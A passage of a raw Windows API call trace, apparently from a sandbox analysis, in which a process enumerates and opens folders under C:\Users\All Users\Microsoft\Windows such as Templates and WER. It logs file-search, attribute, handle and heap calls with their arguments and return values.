hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0092.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0092.235] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Templates" (normalized: "c:\\users\\all users\\microsoft\\windows\\templates"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.235] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Templates" (normalized: "c:\\users\\all users\\microsoft\\windows\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.236] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.236] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.236] NtClose (Handle=0x17c) returned 0x0 [0092.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0092.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0092.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.237] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0092.238] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.238] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.238] GetLastError () returned 0x12 [0092.238] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0092.238] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.238] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.238] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.238] GetLastError () returned 0x12 [0092.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.238] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0092.239] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1 [0092.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0092.239] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER" (normalized: "c:\\users\\all users\\microsoft\\windows\\wer"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.239] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER" (normalized: "c:\\users\\all users\\microsoft\\windows\\wer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.240] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.240] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.240] NtClose (Handle=0x15c) returned 0x0 [0092.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0092.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0092.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0092.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0092.241] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0092.242] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.242] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="")) returned 1 [0092.242] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="")) returned 1 [0092.242] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="")) returned 0 [0092.242] GetLastError () returned 0x12 [0092.242] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0092.242] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.242] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.242] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="")) returned 1 [0092.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.242] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive" (normalized: "c:\\users\\all users\\microsoft\\windows\\wer\\reportarchive"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.243] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive" (normalized: "c:\\users\\all users\\microsoft\\windows\\wer\\reportarchive"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.243] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.243] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.243] NtClose (Handle=0x15c) returned 0x0 [0092.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.245] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0092.245] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.245] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.245] GetLastError () returned 0x12 [0092.245] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.245] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.245] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.245] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.245] GetLastError () returned 0x12 [0092.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.245] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.246] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="")) returned 1 [0092.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.246] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue" (normalized: "c:\\users\\all users\\microsoft\\windows\\wer\\reportqueue"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.246] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue" (normalized: "c:\\users\\all users\\microsoft\\windows\\wer\\reportqueue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.247] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.247] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.247] NtClose (Handle=0x184) returned 0x0 [0092.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc048 [0092.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc158 [0092.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.249] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.249] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.249] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.249] GetLastError () returned 0x12 [0092.249] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0092.249] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.249] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.249] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.249] GetLastError () returned 0x12 [0092.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.249] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc158) returned 1 [0092.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc048) returned 1 [0092.250] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="")) returned 0 [0092.250] GetLastError () returned 0x12 [0092.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb960) returned 1 [0092.250] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0092.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0092.251] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 0 [0092.251] GetLastError () returned 0x12 [0092.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0092.251] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0092.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.252] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7c5130, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9b7c5130, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="")) returned 1 [0092.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.252] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender" (normalized: 